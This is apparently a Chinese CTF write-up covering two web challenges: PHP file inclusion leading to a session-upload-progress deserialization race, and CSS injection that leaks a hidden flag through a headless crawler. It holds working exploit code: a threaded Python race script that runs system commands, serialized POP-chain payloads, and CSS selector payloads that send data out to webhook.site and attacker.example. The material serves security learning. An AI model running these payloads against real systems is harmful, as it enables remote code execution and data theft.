2.1 工具页源码#

访问 t00llll.php 不带参数，它会 show_source(__FILE__) 把自己贴出来：

1
<?php
2
error_reporting(0);
3

4
if (!isset($_GET['include_'])) {
5
    echo "使用工具的时候,要轻一点哦~";
6
    show_source(__FILE__);
7
}else{
8
    $include_ = $_GET['include_'];
9
}
10
if (preg_match('/sess|tmp/i', $include_)) {
11
    die("可恶涅,同样的方法怎么可能骗到本小姐两次!");
12
}else if (preg_match('/sess|tmp|index|\~|\@|flag|g|\%|\^|\&|data|log/i', $include_)) {
13
    die("呜呜呜,不可以包含这些奇奇怪怪的东西欸!!");
14
}
15
else @include($include_);
16
?>

$_GET['include_'] 被直接送进 include()，这就是最经典的本地文件包含（LFI）。

2.2 为什么必须用 php://filter#

如果直接：

1
?include_=Rea1web3he11.php

PHP 会把这个 .php 当代码执行，源码根本不会打印出来。所以要套一层 PHP 内置的过滤流：

1
?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php

拆开看：

• php://filter —— 过滤流包装器，可以给目标文件套”滤镜”
• read=convert.base64-encode —— 读的时候先做一次 Base64 编码
• resource=... —— 真正要读的文件

加 Base64 之后，include 拿到的内容是一串 Base64 文本，不以 <?php 开头、不是合法 PHP 代码，PHP 就不执行它，只原样输出，源码就漏出来了。

2.3 过滤规则分析#

被拦的关键字：

1
sess  tmp  index  ~  @  flag  g  %  ^  &  data  log

它们分别堵死了：

• sess / tmp —— 不能包含 /tmp/sess_xxx（session 文件）
• index —— 不能包含 index.php
• flag / g —— 不能直接读 flag 文件（g 同时堵住 log、png、jpg、Big5 等）
• data —— 不能用 data:// 伪协议
• log —— 不能用日志包含（access.log 等）
• ~ @ % ^ & —— 各种常见的绕过字符

也就是说：只能老老实实读源码，不能直接包含 session 文件，也不能日志投毒。

2.4 解码拿源码#

访问：

1
http://node4.anna.nssctf.cn:27400/t00llll.php?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php

得到一大串 Base64，本地解码（PowerShell）：

1
$b = (Invoke-WebRequest "http://node4.anna.nssctf.cn:27400/t00llll.php?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php").Content
2
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))

得到真 webshell 源码：

1
<?php
2
error_reporting(0);
3
ini_set('session.serialize_handler', 'php');
4
session_start();
5
echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."<br>";
6

7
class webshell{
8
    public $caution;
9
    public $execution;
10

11
    function __construct(){
12
        $this -> caution = new caution();
13
    }
14
    function __destruct(){
15
        $this -> caution -> world_execute();   // 反序列化利用点
16
    }
17
    function exec(){
18
        @eval($execution);
19
    }
20
}
21
class caution{
22
    function world_execute(){
23
        echo "Webshell...ERROR..."."<br>";
24
    }
25
}
26
class execution{
27
    public $cmd;
28
    function __construct(){
29
        $this -> cmd = 'echo "即将执行命令:".$cmd;';
30
    }
31
    function world_execute(){
32
        eval($this -> cmd);                    // 任意代码执行
33
    }
34
}
35
?>

单独访问 Rea1web3he11.php：

1
y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!<br>

“你可能需要一些工具才能用它” —— 它自己没入口，需要靠 session 反序列化把它”喂”起来。

3.1 类的结构#

execution 类

1
class execution{
2
    public $cmd;
3
    function world_execute(){
4
        eval($this -> cmd);
5
    }
6
}

只要我们能造出 execution 对象，并把它的 $cmd 设成任意字符串，就等于任意代码执行。

webshell 类

1
class webshell{
2
    public $caution;
3
    function __destruct(){
4
        $this -> caution -> world_execute();
5
    }
6
}

__destruct() 是对象被销毁时自动调用的魔术方法。它内部调用 $this->caution 的 world_execute()。

$this->caution 是什么类型，完全由我们（反序列化数据）决定。

3.2 利用链#

把 webshell 的 caution 属性换成一个 execution 对象：

1
webshell::__destruct()
2
   -> $this->caution(=execution 对象)->world_execute()
3
   -> eval($this->cmd)
4
   -> 任意命令执行

webshell 里的 $execution 属性和 exec() 方法是烟雾弹，不用管。

3.3 构造序列化 payload#

PHP 序列化格式速记：

• O:8:"webshell":2:{...} —— 对象，类名 8 字节，2 个属性
• s:7:"caution";... —— 字符串，名字 7 字节
• N; —— null

最终 payload：

1
O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:15:"system("ls /");";}s:9:"execution";N;}

小白最容易踩的坑：长度必须精确。 属性个数、类名长度、字符串字节数，错一个字节 unserialize() 就直接失败（而且 error_reporting(0)，你连报错都看不到）。

最稳的办法：用本地 PHP 生成（本地是 PHP 7.3，和靶机一致）：

1
<?php
2
class webshell{ public $caution; public $execution; }
3
class execution{ public $cmd; }
4

5
$b = new execution();
6
$b -> cmd = 'system("cat /secret/flag");';
7

8
$a = new webshell();
9
$a -> caution = $b;
10

11
echo '|'.serialize($a);

4.1 session 的生命周期#

HTTP 是无状态的，服务器记不住”你”是谁。session 就是服务器给你发的一张”会员卡”：

1. 第一次请求，PHP 调 session_start()，生成一个随机 ID（PHPSESSID=abc123），通过 Set-Cookie 发给浏览器；
2. 服务器在磁盘上建一个文件，Debian 下通常是 /var/lib/php/sessions/sess_abc123；
3. 之后每次请求浏览器都带上这个 Cookie，PHP 用 ID 找到对应文件；
4. session_start() 做的事就是：读出文件内容 -> 反序列化 -> 还原成 $_SESSION 数组；
5. 脚本结束（或 session_write_close()）时，把 $_SESSION 数组序列化后写回文件。

关键就在第 4 步：读 session 文件的过程，本质上就是一次 unserialize()。

如果 session 文件里被塞进了恶意序列化字符串，session_start() 一执行，就会在我们自己的服务器上”还原”出攻击者构造好的对象 —— 这就是 session 反序列化。

4.2 两种序列化引擎：php 与 php_serialize#

PHP 把 $_SESSION 存进文件有两种格式，由 session.serialize_handler 决定。

格式一：php（本题 Rea1web3he11.php 强制使用）

1
键名|序列化后的值

例如：

1
username|s:5:"admin";role|s:5:"guest";

读的时候逻辑是：先找第一个 |，左边当键名，右边交给 unserialize()。

格式二：php_serialize（PHP 5.5.4+ 的默认值）

整个 $_SESSION 数组当整体序列化：

1
a:1:{s:8:"username";s:5:"admin";}

两者的核心差别，就是那个 |。 php 格式靠字符串里的 | 当分隔符，而分隔符不是结构层面记录的字节 —— 这就给了我们”伪造分隔符”的空间。

4.3 反序列化触发点不需要额外 include#

注意 Rea1web3he11.php 自己就调了：

1
ini_set('session.serialize_handler', 'php');
2
session_start();

也就是说，访问这个页面本身就会读 session 文件并反序列化，完全不需要用 LFI 去 include 任何东西。

（顺便解释为什么不用 include /tmp/sess_xxx：一是 t00llll.php 明确封了 sess 和 tmp，二是根本没必要。）

4.4 对象什么时候执行代码#

unserialize() 还原对象时，PHP 不会调用 __construct()（构造参数信息在序列化时已经丢了），但对象在脚本结束被销毁时，会自动调用 __destruct()。

所以执行顺序是：

1
session_start()  ->  unserialize 出 webshell 对象
2
脚本输出 "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"
3
脚本结束          ->  webshell::__destruct()
4
                  ->  $this->caution->world_execute()  (caution 是 execution 对象)
5
                  ->  eval($this->cmd)  ->  执行命令

命令输出跟在页面后面一起返回，所以响应里能直接看到结果。

5.1 机制#

session.upload_progress.enabled 默认开启。当一个请求满足：

• Content-Type: multipart/form-data
• 表单里有一个字段名等于 session.upload_progress.name（默认 PHP_SESSION_UPLOAD_PROGRESS）

PHP 会自动帮你 session_start()，并往 $_SESSION 塞一个元素：

1
$_SESSION[ "upload_progress_" . <你传的字段值> ] = 进度信息数组

看清楚：key 的前缀固定，后缀完全由我们控制，而且没有任何转义和校验。

5.2 | 为什么是致命一击#

把字段值设成：

1
aaa|O:8:"webshell":2:{...}

（或者像本文用的 payload 自带开头 |，字段值就是 |O:8:"webshell":2:{...}）

此时内存里 $_SESSION 的键名就是 upload_progress_aaa|O:8:"webshell":2:{...}。

脚本结束时，PHP 用 php 格式写盘，格式是 键名|值，于是磁盘上的文件变成：

1
upload_progress_aaa|O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:15:"system("ls /");";}s:9:"execution";N;}|a:5:{s:10:"start_time";i:1695...;...}
2
                    ^ 从这里开始，php 格式把它当"值"去 unserialize

下次带着同一个 PHPSESSID 访问 Rea1web3he11.php，session_start() 读文件，php 引擎的逻辑是：

1. 找第一个 |；
2. 左边当键名：upload_progress_aaa；
3. 右边当值，丢给 unserialize()：O:8:"webshell":2:{...}|a:5:{...}；
4. unserialize() 解析完 webshell 对象就停了，后面多余的 |a:5:{...} 被直接无视。

结果：一个完全由我们控制的 webshell 对象，被凭空”还原”进了 $_SESSION。

这就是 session 反序列化里最有名的一个点：因为 php 格式用 | 做分隔符，而 | 出现在我们可控的 key 里，等于我们亲手伪造了分隔符，把后面的内容变成了”值”。

5.3 两种写法，千万不要混#

写法 A（本文用的）：字段值带开头 |

1
PHP_SESSION_UPLOAD_PROGRESS = |O:8:"webshell":2:{...}

写盘后：

1
upload_progress_|O:8:"webshell":2:{...}|a:5:{...}
2
^^^^^^^^^^^^^^^^^ 键名   ^^ 值从这里开始

upload_progress_ 正好当键名，第一个 | 后面就是序列化对象 -> 成功。

写法 B：字段值是 aaa|O:8:...（payload 本身不带 |）

1
upload_progress_aaa|O:8:"webshell":2:{...}|a:5:{...}

同样成立。

错误写法：两个都加，变成 aaa||O:8:...

1
upload_progress_aaa||O:8:...

读的时候值变成 |O:8:...，unserialize() 碰到开头的 | 直接失败，对象不会被还原。

字段值 = 一段能当键名的文字 + 恰好一个 | + 序列化字符串。

5.4 补充：写盘和读盘 handler 不一致也没关系#

写 session 的请求用的是 php.ini 默认的 handler（因为 session_start() 是 PHP 在上传解析阶段自动触发的，早于脚本里的 ini_set），很可能是 php_serialize：

1
a:1:{s:49:"upload_progress_aaa|O:8:"webshell":2:{...}";a:5:{...}}

而读的页面强制用 php handler，它找第一个 |，同样把 O:8:"webshell"... 拿去 unserialize()。

结论：只要”写”和”读”两个阶段的 handler 不一致，键名/文件名里的 | 就能完成注入。本题的 ini_set('session.serialize_handler','php') 正是这个”不一致”的来源。

6.1 单次请求的时间线#

session.upload_progress.cleanup 默认是 On，含义是”POST 数据读完之后，把进度信息从 session 里删掉”。所以：

我们注入的键名以 upload_progress_ 开头，所以 cleanup 会把它一起删掉。

唯一能利用的窗口只在步骤 (2)：上传还在进行、payload 已经落盘、cleanup 还没发生。

6.2 竞争思路#

既然窗口很短，那就反复制造窗口 + 反复抢占窗口：

• 多个线程持续 POST，并故意上传一个 1MB 的文件，把”上传中”的时间拉长，让窗口尽量大；
• 同时多个线程持续 GET Rea1web3he11.php，每次 GET 都触发 session_start() 反序列化；
• 只要有一次 GET 正好落在窗口里 -> 反序列化 -> eval -> 命中。

命中后命令输出会直接出现在那个 GET 的响应里，检测到标记字符串就退出并打印结果。

小提示：上传超大文件窗口更长、更容易命中，但会占用目标带宽；1MB 左右配 4 写 4 读是比较舒服的平衡点。

7.1 先用本地 PHP 生成 payload#

1
<?php
2
class webshell{ public $caution; public $execution; }
3
class execution{ public $cmd; }
4

5
$b = new execution();
6
$b -> cmd = 'system("cat /secret/flag");';
7

8
$a = new webshell();
9
$a -> caution = $b;
10

11
echo '|'.serialize($a);

把输出的 |O:8:"webshell":... 整串复制出来。每次改命令都要重新生成一次，因为长度会变。

7.2 竞争脚本#

1
import requests, threading, time
2

3
HOST   = "http://node4.anna.nssctf.cn:27400"
4
TARGET = HOST + "/Rea1web3he11.php"   # session_start() 在这里，才是反序列化触发点
5
SESS   = "racecodex001"               # 自定义 PHPSESSID，读写两端都用它
6

7
# 想执行的命令，用 X9X 当分隔标记，方便判断是否命中
8
cmd = 'system("id; echo X9X; ls -la /; echo X9X; cat /secret/flag; echo X9X");'
9

10
# 构造 POP 链序列化字符串，%d 是 cmd 的字节长度，必须精确
11
payload = ('O:8:"webshell":2:{'
12
           's:7:"caution";O:9:"execution":1:{s:3:"cmd";s:%d:"%s";}'
13
           's:9:"execution";N;}') % (len(cmd), cmd)
14

15
val = "|" + payload        # 字段值：一段能当 key 的文字（这里由 upload_progress_ 提供）+ 一个 | + 序列化串
16

17
stop = threading.Event()
18
hit  = []
19

20
def writer():
21
    """不停上传：让恶意 payload 反复落盘到 session 文件"""
22
    files = {"f": ("a.txt", b"A" * (1024 * 1024))}   # 1MB，用来拉长窗口
23
    while not stop.is_set():
24
        try:
25
            requests.post(TARGET,
26
                          data={"PHP_SESSION_UPLOAD_PROGRESS": val},   # 注入点
27
                          files=files,
28
                          cookies={"PHPSESSID": SESS},
29
                          timeout=30)
30
        except Exception:
31
            pass
32

33
def reader():
34
    """不停读取：每次 GET 都会触发一次 session_start() 反序列化"""
35
    while not stop.is_set():
36
        try:
37
            r = requests.get(TARGET, cookies={"PHPSESSID": SESS}, timeout=30)
38
            if "X9X" in r.text:
39
                hit.append(r.text)
40
                stop.set()
41
                return
42
        except Exception:
43
            pass
44

45
threads  = [threading.Thread(target=writer, daemon=True) for _ in range(4)]
46
threads += [threading.Thread(target=reader, daemon=True) for _ in range(4)]
47
for t in threads:
48
    t.start()
49

50
deadline = time.time() + 75
51
while time.time() < deadline and not stop.is_set():
52
    time.sleep(1)
53

54
stop.set()
55
time.sleep(2)
56
print(hit[0] if hit else "no hit")

实测两三秒内就在响应里看到命令输出。

1
payload = ('O:8:"webshell":2:{'
2
             's:7:"caution";O:9:"execution":1:{s:3:"cmd";s:%d:"%s";}'
3
             's:9:"execution";N;}') % (len(cmd), cmd)

这是PHP 序列化字符串，作用是在靶机上”凭空还原”出这样一个对象结构：

webshell 对象 ├─ caution = execution 对象 │ └─ cmd = 我们的 PHP 代码 └─ execution = null（没用，占位）

当 session_start() 读到它并反序列化，脚本结束时 webshell::__destruct() 触发 → 调 caution->world_execute() → eval(cmd)。这就是把”字符串”变成”命令执行”的那一步。

序列化语法的规律（记住这几条就够）：

写法 含义 ━━━━━━━━━━━━━━━━━━━━━━━━━ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ O:8:“webshell”:2:{…} 对象（Object），类名 webshell 占 8 个字节，共 2 个属性 ───────────────────────── ──────────────────────────────────────────────────────── s:7:“caution”; 字符串（String），名字 caution 占 7 个字节 ───────────────────────── ──────────────────────────────────────────────────────── O:9:“execution”:1:{…} 又嵌一个对象，类名 execution 占 9 字节，1 个属性 ───────────────────────── ──────────────────────────────────────────────────────── s:3:“cmd”;s:71:”…”; 属性名 cmd 占 3 字节，值是占 71 字节的字符串 ───────────────────────── ──────────────────────────────────────────────────────── N; null

这些数字全部来自靶机源码里真实的类定义：类名长度、属性个数、属性名长度，一个字都不能改，改了就对不上。

2.1 关键信息一：flag 在内网#

1
The flag is in http://127.0.0.1:60000/flag.html

127.0.0.1 是服务器自己的本机地址。也就是说这个页面只有服务器（以及同容器里的爬虫）能访问， 我们从外网直接请求 node4.anna.nssctf.cn:60000 是连不上的（实测会连接超时）：

1
curl -v --max-time 8 http://node4.anna.nssctf.cn:60000/flag.html
2
# *   Trying 1.14.71.254:60000...
3
# * Connection timed out after 8010 milliseconds

所以 flag 不可能直接读，必须让服务器里的机器人替我们去看，再把结果想办法传出来。

2.2 关键信息二：有个爬虫接口#

1
<form action="/crawl.html" method="post">
2
    http://127.0.0.1:60000/flag.html?css=<input type="text" name="css" />
3
    <input type="submit"/>
4
</form>

这说明：向 /crawl.html POST 一个 css 参数，服务器就会派一个无头浏览器去访问

1
http://127.0.0.1:60000/flag.html?css=<你填的东西>

实测返回内容就是 Crawling 四个字：

1
curl -s -i -X POST -d "css=test" http://node4.anna.nssctf.cn:25698/crawl.html
2
# HTTP/1.1 200 OK
3
# Content-Length: 8
4
#
5
# Crawling

（注意：GET 请求 /crawl.html 是 404，只接受 POST。）

2.3 关键信息三：注释里泄露了 flag.html 的真实源码#

1
<!--
2
    <html>
3
        <link rel="stylesheet" href="${encodeURI(req.query.css)}" />
4
         <form>
5
            <input name="Email" type="text" value="test">
6
            <input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
7
            <input type="submit" value="提交">
8
        </form>
9
    </html>
10
-->

这就是漏洞点本身。拆开看：

结论：我们能控制页面上样式表的 URL → 这就是 CSS 注入（CSS Injection）。

顺带一提，202cb962ac59075b964b07152d234b70 是字符串 123 的 MD5， 它是个”示例数据”，用来告诉你”这里本来是放敏感数据的”。

3.1 HTML：标签、元素、属性#

HTML 用「标签」描述页面内容：

1
<input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70">

拆解：

• input 是标签名，整个 <input ...> 是一个元素。
• 元素里 名字="值" 的部分叫属性（attribute）。这里有三个属性：
  • name="flag"
  • type="hidden"
  • value="202cb962ac59075b964b07152d234b70"
• 重要：属性值会被浏览器原样保存在 DOM 里，所以可以用 CSS 的”属性选择器”去匹配它。 这正是我们读取 flag 的入口。

<form> 是表单，可以包含多个输入控件；<input type="submit"> 是提交按钮。 flag.html 里的三个 input 是兄弟关系（同一个 <form> 的孩子节点）。

3.2 type="hidden" 是什么，为什么它很麻烦#

type="hidden" 表示这个输入框”隐藏”：用户看不见，也不会被渲染出来。 浏览器内置样式表（User Agent Stylesheet）里有类似这么一条规则：

1
input[type="hidden" i] {
2
    display: none !important;
3
}

display: none 的意思是这个元素不产生任何可见的盒子（不渲染）。 这对我们非常关键，因为后面会讲到：CSS 只有作用在”真正被渲染的元素”上，才会去下载图片。 所以 flag 那个输入框本身是没法直接用来发请求的，得想别的办法（第 6.3 节讲）。

3.3 CSS 是什么，怎么被加载#

CSS（层叠样式表）用来描述页面”长什么样”。最常见两种引入方式：

1
<!-- 内联样式：直接写在 <style> 里 -->
2
<style>
3
  p { color: red; }
4
</style>
5

6
<!-- 外部样式表：从某个 URL 下载 -->
7
<link rel="stylesheet" href="https://example.com/a.css" />

flag.html 用的是第二种。重点：href 指向哪儿，浏览器就会去下载哪儿的 CSS， 所以只要我们能控制 href，就能让浏览器执行我们写的任意 CSS。

一条 CSS 规则长这样：

1
选择器 {
2
    属性: 值;
3
    属性: 值;
4
}

例如 p { color: red; } 的意思是：所有 <p> 元素，文字变红色。

3.4 选择器：怎么”选中”元素#

最常用的几种：

属性选择器还有几个”模糊匹配”的变体，这就是我们读 flag 的核心工具：

另外还有组合器，用来描述元素之间的位置关系（比如”在它后面的兄弟”）：

举个和本题完全对应的例子。flag.html 的 DOM 结构（浏览器把 <html> 下的东西自动整理后）大致是：

1
<html>
2
  <head>
3
    <link rel="stylesheet" href="...">
4
  </head>
5
  <body>
6
    <form>
7
      <input name="Email" type="text" value="test">      <!-- 1 -->
8
      <input name="flag"  type="hidden" value="flag{...}"> <!-- 2 -->
9
      <input type="submit" value="提交">                  <!-- 3 -->
10
    </form>
11
  </body>
12
</html>

那么：

• input[name=flag] ~ input[type=submit] 选中的是 第 3 个元素（提交按钮）， 条件是”它前面有一个 name=flag 的 input”。
• input[name=flag] + input[type=submit] 选中的是”紧跟在 flag 输入框后面的兄弟”， 但紧跟着的是”提交按钮”吗？不是——第 2 个后面的兄弟就是第 3 个，所以这里 + 其实也能用； 不过 ~ 更保险（万一中间还夹了别的元素）。

3.5 层叠与优先级（specificity）——利用手法的关键#

同一个元素、同一个 CSS 属性，如果被多条规则同时命中，只会有一个值生效。谁生效的规则是：

1. 先看 !important（本题用不到）；
2. 再看优先级（specificity），高的赢；
3. 优先级相同时，写在后面的赢。

优先级的算法是一个三元组 (ID 数量, 类/属性/伪类数量, 元素/伪元素数量)，逐位比较。

用本题的两条规则算一下：

1
/* 心跳规则：2 个元素 + 1 个属性 + 1 个元素 = (0, 2, 2) */
2
input[type=hidden] ~ input[type=submit] { background-image: url(.../hb) }
3

4
/* 候选规则：2 个元素 + 2 个属性 + 1 个元素 = (0, 3, 2) ← 更高 */
5
input[type=hidden][value^="flag{a"] ~ input[type=submit] { background-image: url(.../61) }

(0,3,2) > (0,2,2)，所以只要候选规则命中，它就一定压过心跳规则。 我们正是靠这个性质来判断”这一位到底是不是这个字符”。

3.6 CSS 里怎么”发网络请求”#

CSS 里能触发 HTTP 请求的写法有很多，最常用的两种：

1
/* 1. 直接写 url()，浏览器会去下载这个资源 */
2
input[type=submit] { background-image: url("https://attacker.example/pixel.png"); }
3

4
/* 2. @import：再引入一份 CSS */
5
@import url("https://attacker.example/more.css");

可以放 url() 的属性非常多，例如：

background-image、border-image-source、list-style-image、mask-image、cursor、@font-face 的 src 等等。

但有一个大前提：这个元素必须真的被渲染。

• 如果元素是 display: none（比如 type="hidden" 的 input）， 那么写在它身上的 background-image 根本不会去下载。
• 所以必须把请求”挂”到一个可见元素上。

3.7 盲注 / XS-Leak 的核心思想#

我们看不到 flag.html 的内容，但我们能看到自己服务器收到的请求。于是：

把”flag 的第 i 位是不是字符 c”变成一个 CSS 条件； 条件成立 → 浏览器去请求 https://我们的服务器/mark_<i>_<c>； 条件不成立 → 什么都不发（或发别的东西）。

我们服务器日志里出现哪个标记，就说明哪个猜测成立。

这就是盲注（blind injection）在浏览器侧的表现，也常被叫做 XS-Leak（跨站泄露）。 和 SQL 盲注的思路一模一样：看不见数据，就用”有回显/无回显”当 0/1。

5.1 一个自然的想法：能不能直接内联写 CSS？#

href="${encodeURI(req.query.css)}" 里，参数只被当作一个 URL。 那么能不能用 data: URL 把 CSS 直接塞进去？比如：

1
?css=data:text/css,@import url(https://my.server/leak);

我在靶机上实测过：没有收到任何回调，说明 data: 形式的样式表被浏览器拦掉了（参考第 10.1 节）。

所以结论是：必须自己托管一份 CSS，然后把 URL 交给机器人。

5.2 为什么选 webhook.site#

我们需要一个满足三点的服务：

1. 公网可访问（机器人能连上，且你的浏览器/靶机都能连上）；
2. 能自定义返回内容——我们要随时更换 CSS 内容；
3. 能查看请求日志——这就是我们的”回显”。

webhook.site 正好三样都有（免费、无需注册）：

• POST https://webhook.site/token → 生成一个专属 token（UUID）；
• PUT https://webhook.site/token/<uuid> → 设置”默认响应”的内容和 MIME 类型；
• https://webhook.site/<uuid>/任意路径 → 任何对该地址的请求都会被记录下来；
• GET https://webhook.site/token/<uuid>/requests → 拉取请求日志（JSON）。

5.3 第一步：创建 token 并设置响应内容#

1
# 1) 创建 token
2
curl -s -X POST https://webhook.site/token
3
# {"uuid":"8f4706fc-....","redirect":true,...}
4

5
# 2) 把默认响应设置成我们的 CSS，并且把 MIME 类型设为 text/css
6
curl -s -X PUT https://webhook.site/token/8bd811ec-6830-4dde-85eb-8796f44d24c1 \
7
     -H "Content-Type: application/json" \
8
     -d '{"default_content":"@import url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/fromcss);",
9
          "default_content_type":"text/css"}'

MIME 必须是 text/css。浏览器对跨域样式表有”严格 MIME 检查”： 如果返回头是 text/plain 或 text/html，浏览器会在控制台报 Refused to apply style ... because its MIME type ... is not a supported stylesheet MIME type 然后直接忽略这份样式表，我们就什么都收不到了。

5.4 第二步：确认爬虫真的能出网#

把 css 指向我们的 webhook，然后看日志：

1
curl -s -X POST --data-urlencode "css=https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/test1" \
2
     http://node4.anna.nssctf.cn:25698/crawl.html

1
{
2
  "method": "GET",
3
  "user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/78.0.3882.0 Safari/537.36",
4
  "headers": {
5
    "referer": ["http://127.0.0.1:60000/flag.html?css=https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/test1"],
6
    "accept": ["text/css,*/*;q=0.1"]
7
  },
8
  "url": "https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/test1"
9
}

这三次信息量很大：

• user_agent 里有 HeadlessChrome/78 → 是靶机派出的无头浏览器，不是我们自己的请求；
• referer 是 http://127.0.0.1:60000/flag.html?css=... → 证明它确实访问了内网 flag.html，而且把我们给的地址当作样式表加载了；
• accept: text/css → 浏览器把它当样式表请求。

结论：链路通了，爬虫能出网、能加载我们的 CSS，我们能读到日志。

5.5 第三步：验证 CSS 真的被执行#

光”下载了 CSS”还不够，我们要确认浏览器执行了里面的规则。把默认内容设为：

1
@import url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/fromcss);

然后再触发一次爬虫，日志里出现了 /fromcss 这条请求 → CSS 里的 @import 生效了。 至此”发 payload → 浏览器执行 → 我们看到回显”的完整闭环打通。

6.1 先验证属性选择器能读到属性值#

页面里 Email 输入框的值是固定的 test，是很好的”试验品”。我们写：

1
input[type=submit]{background-image:url(https://webhook.site/<uuid>/g/hb)}
2
input[value^="te"] ~ input[type=submit]{background-image:url(https://webhook.site/<uuid>/g/seltest)}

要发送的payload这样填：

1
curl -s -X PUT "https://webhook.site/token/8bd811ec-6830-4dde-85eb-8796f44d24c1" -H "Content-Type: application/json" \
2
    -d "{\"default_content\":\"input[type=submit]{background-image:url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/g/hb)}\
3
    \ninput[value^='te'] ~ input[type=submit]{background-image:url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/g/seltest)}\",
4
    \"default_content_type\":\"text/css\"}"
5
    ````
6
含义：
7

8
* 第 1 条：**无条件**让提交按钮的背景图去请求 `/g/hb`（我把它叫**心跳**，用来证明"这轮爬虫确实执行了"）；
9
* 第 2 条：**当存在 value 以 `te` 开头的元素时**，让提交按钮的背景图去请求 `/g/seltest`。
10

11
因为 `Email` 的 value 是 `test`，以 `te` 开头，所以第 2 条会命中，并且优先级更高，
12
把第 1 条的 `background-image` 覆盖掉。
13
![2026-09-23_15-48-06.png](/images/uploads/20260923-154848-37569d.png)
14

15
实测日志：

…/g/seltest ← 命中了（而不是 /g/hb）

1
一次就同时验证了三件事：**属性选择器能用、兄弟组合器能用、背景图请求能回显**。
2

3
### 6.2 为什么"隐身的 flag 输入框"不能直接用
4

5
直觉写法是：
6

7
```css
8
input[name=flag][value^="NSS"]{background-image:url(.../mark)}

但没用，因为它是 type="hidden"，display: none，不会被渲染， CSS 引擎不会为它下载背景图。

6.3 正确姿势：用兄弟选择器把条件打到提交按钮上#

1
input[type=hidden][value^="NSS"] ~ input[type=submit] {
2
    background-image: url("https://webhook.site/<uuid>/g/<标记>");
3
}

读法是：

“如果存在一个隐藏输入框，它的 value 以 NSS 开头， 那么把它后面的那个提交按钮（一个真实可见、会被渲染的元素）的背景图设成这个 URL。”

选择器只是在”判断条件”，真正发请求的是被选中的可见按钮 —— 这就是绕开 display:none 的关键。

6.4 一轮同时试一整个字符集#

如果一次只试一个字符，44 个字符 × 95 个候选 = 4180 次抓取，太慢了。 技巧是：一次把整个字符集都写进去，每个候选配一个不同的 URL：

1
/* 心跳：没猜中任何字符时它会生效，用来判断"到结尾了" */
2
input[type=hidden] ~ input[type=submit]{
3
    background-image:url("https://webhook.site/<uuid>/g/0/hb")
4
}
5

6
/* 候选：一次列出所有可能的下一个字符 */
7
input[type=hidden][value^="NSSCTF{dda"]~input[type=submit]{
8
    background-image:url("https://webhook.site/<uuid>/g/0/61")}   /* 字符 a */
9
input[type=hidden][value^="NSSCTF{ddb"]~input[type=submit]{
10
    background-image:url("https://webhook.site/<uuid>/g/0/62")}   /* 字符 b */
11
input[type=hidden][value^="NSSCTF{ddc"]~input[type=submit]{
12
    background-image:url("https://webhook.site/<uuid>/g/0/63")}   /* 字符 c */
13
/* ... 一直到字符集里的最后一个字符 ... */

为什么”一轮就能得到答案”？两个理由：

1. 前缀唯一性：value 是一个确定的字符串，所以在”已知前缀”固定的情况下， 最多只有一个候选能让 [value^="前缀+候选"] 成立（比如真实下一位是 5，那就只有试 5 的那条会命中）。
2. 覆盖关系：所有命中的规则都想设置同一个属性 background-image， 最后生效的一定是优先级最高的那一条。候选规则 (0,3,2) 比心跳规则 (0,2,2) 高， 所以只要命中候选，就一定是候选的 URL 被请求；如果一条候选都没命中，才会去请求 /hb。

于是每轮抓取的日志只会有两种结果之一：

1
/g/<轮次>/<候选字符的十六进制>   → 该位就是这个字符
2
/g/<轮次>/hb                    → 该位没有任何候选匹配（说明 flag 已经结束）

这样一来，一次抓取泄露一个字符，44 次左右就够（实测总共不到 50 轮）。

遇到的崩溃原因#

1. 抓取接口是”异步点火”，每次抓取 = 启动一个无头 Chrome POST /crawl.html → 0.2~0.4 秒就回 “Crawling” ← 接口立即返回 3 秒后浏览器才真正去拉样式表 ← 说明是后台异步启动 Chromium

Chrome 进程很吃内存，靶机容器规格又小。

1. 连发就会把容器打爆，而且接口还假装正常 我做了一组对照：间隔 0.2 秒连发 2 次 → 两次都正常执行（t+3.0s、t+3.9s）； 改成连发 4 次 → 容器直接没了，之后的现象是：

POST /crawl.html -> 200 “Crawling” ← 接口照样秒回，骗你以为还好 120 秒内 0 次样式表拉取 ← 爬虫其实已经死了，请求全堆积 再等一会 -> 端口 000（连接被拒） ← 只能杀掉重启

1. 脚本里推高频率的地方 for attempt in range(4): # 一个字符最多抓 4 次 exfil.set_css(css) crawl(…) # 失败后立刻再抓，中间没有任何等待

一轮失败就连发，44 个字符累积下来，无头浏览器进程叠加 → 容器崩。我第一次 能跑通，是因为当时抓取天然间隔 10~25 秒，从没重叠。

• 放心，脚本解决了这个问题，只是速度慢

  

8.1 逐段说明#

• build_css：把 prefix（已知部分）和每个候选字符拼成一个前缀选择器， 例如已知 NSSCTF{dd529c21-399e-4、候选 e，就生成 input[type=hidden][value^="NSSCTF{dd529c21-399e-4e"]~input[type=submit]{...}。
• esc()：用 CSS 十六进制转义表示字符，好处是 "、\、\n 这类字符也能安全写入选择器字符串。
• hits：这一轮我们收到的 /g/<step>/xxx 标记集合。正常情况下只有一个元素。
• loaded：标志位，表示”这一轮的样式表确实被下载过”。 如果 loaded=False 且没有任何命中，说明爬虫根本没跑（而不是”没猜中”）， 这时换 token 再试——这是排查第 10.3 节那个坑的关键。
